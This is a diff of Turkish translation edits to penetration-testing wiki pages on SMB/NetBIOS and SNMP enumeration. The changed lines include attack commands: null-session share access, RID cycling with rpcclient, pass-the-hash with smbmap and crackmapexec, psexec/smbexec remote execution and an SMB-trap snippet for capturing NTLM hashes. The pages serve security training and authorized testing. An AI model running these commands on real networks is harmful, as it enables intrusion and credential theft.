@ -419,7 +423,7 @@ Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Kaba kuvvetle kullanıcı kimlik bilgilerini elde etme**
|
||||
## **Kaba kuvvetle kullanıcı kimlik bilgileri**
|
||||
|
||||
**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz**
|
||||
```bash
|
||||
@ -433,7 +437,7 @@ Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** i
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Bu, aşağıdaki işlevlerle gerçekleşir:
|
||||
|
||||
@ -452,7 +456,7 @@ Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanıl
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama denemesi başlatabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir.
|
||||
SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir.
|
||||
|
||||
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve 16 karaktere kadar uzunlukta olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) **TCP Port 139** kullanarak "aramak" için bir komut verdiğinde başlatılır.
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karakter uzunluğuna kadar çıkabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -12,17 +12,17 @@ _**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'
|
||||
|
||||
Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
|
||||
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Aksine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece port 445'in kullanımıyla TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştırıldığını göstermektedir.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak, **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
|
||||
SMB sunucusu tarafından sağlanabilen paylaşımlar, **yerel dosya sisteminin** keyfi parçalarını temsil eder ve bu, bir istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak hiyerarşiyi görünür kılar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştır`**, **`oku`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
|
||||
### IPC$ Paylaşımı
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
|
||||
|
||||
@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera
|
||||
|
||||
## NTLM Nedir
|
||||
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız:
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
|
||||
- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version**
|
||||
- **MSF** yardımcı modülünü kullanın `**auxiliary/scanner/smb/smb_version**`
|
||||
- Ya da bu scripti kullanın:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -139,7 +139,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Tek Satır
|
||||
Tek satır
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Manuel olarak Windows paylaşımlarını listeleyin ve onlara bağlanın**
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
|
||||
Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
|
||||
Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
|
||||
@ -210,9 +210,9 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(_**Network Security Assessment 3rd edition**_'dan yaygın paylaşım adları)
|
||||
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_'dan)
|
||||
|
||||
Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz.
|
||||
Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
|
||||
### **Windows'tan payları listele / üçüncü taraf araçlar olmadan**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
@ -258,7 +258,7 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Ekleme (grafik)
|
||||
MMC Eklentisi (grafik)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dosyaları İndir**
|
||||
|
||||
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
Kimlik bilgileriyle/Pass-the-Hash ile nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -293,14 +293,14 @@ Komutlar:
|
||||
|
||||
- mask: dizindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (örneğin, "" tüm dosyalar için)
|
||||
- recurse: yinelemeyi açar (varsayılan: kapalı)
|
||||
- prompt: dosya adları için istemeyi kapatır (varsayılan: açık)
|
||||
- mget: maskeye uyan tüm dosyaları ana bilgisayardan istemci makinesine kopyalar
|
||||
- prompt: dosya adları için istemi kapatır (varsayılan: açık)
|
||||
- mget: maskeye uyan tüm dosyaları sunucudan istemci makinesine kopyalar
|
||||
|
||||
(_smbclient'in man sayfasından bilgi_)
|
||||
|
||||
### Alan Paylaşılan Klasörler Arama
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
|
||||
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Veya **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgiler **bulabilirsiniz**.
|
||||
|
||||
## Kayıt Defterini Oku
|
||||
|
||||
@ -330,16 +330,16 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam
|
||||
|
||||
| **Ayar** | **Açıklama** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
|
||||
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin veriyor mu? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasaklıyor mu? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin veriyor mu? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin veriyor mu? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate alıyor mu? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekiyor? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekiyor? |
|
||||
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekiyor? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekiyor? |
|
||||
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekiyor? |
|
||||
|
||||
`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
|
||||
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec, **wmiexec**'i **varsayılan** yöntem olarak kullanarak, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları **istismar ederek** çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya-sız teknik-**-).\
|
||||
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
@ -419,7 +419,7 @@ Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Kullanıcı kimlik bilgilerini bruteforce ile kırma**
|
||||
## **Kaba kuvvetle kullanıcı kimlik bilgileri**
|
||||
|
||||
**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz**
|
||||
```bash
|
||||
@ -433,7 +433,7 @@ Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** i
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Bu, aşağıdaki işlevlerle gerçekleşir:
|
||||
|
||||
@ -452,7 +452,7 @@ Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanıl
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama denemesi başlatabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya bir [SMB relay attack](#smb-relay-attack) içinde kullanılabilir.
|
||||
SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](#smb-relay-attack) için kullanılabilir.
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
||||
@ -11,25 +11,25 @@ PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
> [!NOTE]
|
||||
> SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunucusundan istemciye açıkça talep edilmeden gönderilen veri paketleridir**.
|
||||
> SNMP ayrıca **162/UDP** portunu **traps** için kullanır. Bunlar, **SNMP sunucusundan istemciye açıkça talep edilmeden gönderilen veri paketleridir**.
|
||||
|
||||
### MIB
|
||||
|
||||
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
|
||||
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir.
|
||||
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir `Nesne Tanımlayıcı` (`OID`) içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
|
||||
MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; belirli OID için dönen değerleri veya hangi veri türünün kullanıldığını belirtir.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Nesne Tanımlayıcıları (OIDs)** kritik bir rol oynar. Bu benzersiz tanımlayıcılar, **Yönetim Bilgi Tabanı (MIB)** içindeki nesneleri yönetmek için tasarlanmıştır.
|
||||
|
||||
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu en üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
|
||||
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
|
||||
|
||||
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün yelpazelerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
|
||||
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
|
||||
|
||||
.png>)
|
||||
|
||||
Bir **OID ağacında** gezinmek için buradan erişebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) bulunmaktadır.
|
||||
Bir **OID ağacında** web üzerinden **gezinmek** için buradan ulaşabilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde tanımlanan MIB-2'ye atıfta bulunan bazı **iyi bilinen OID'ler** vardır. Ve bu OID'lerden **bekleyen OID'ler** ile bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) elde edebilirsiniz.
|
||||
|
||||
### **OID Örneği**
|
||||
|
||||
@ -43,21 +43,21 @@ Bu adresin ayrıntılı açıklaması:
|
||||
- 3 – buna ORG denir ve cihazı üreten organizasyonu belirtmek için kullanılır.
|
||||
- 6 – bu, interneti ilk kuran organizasyon olan Savunma Bakanlığı'dır.
|
||||
- 1 – bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir.
|
||||
- 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını belirtir, hükümet tarafından değil.
|
||||
- 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler.
|
||||
- 1 – bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
|
||||
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz hükümet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
|
||||
|
||||
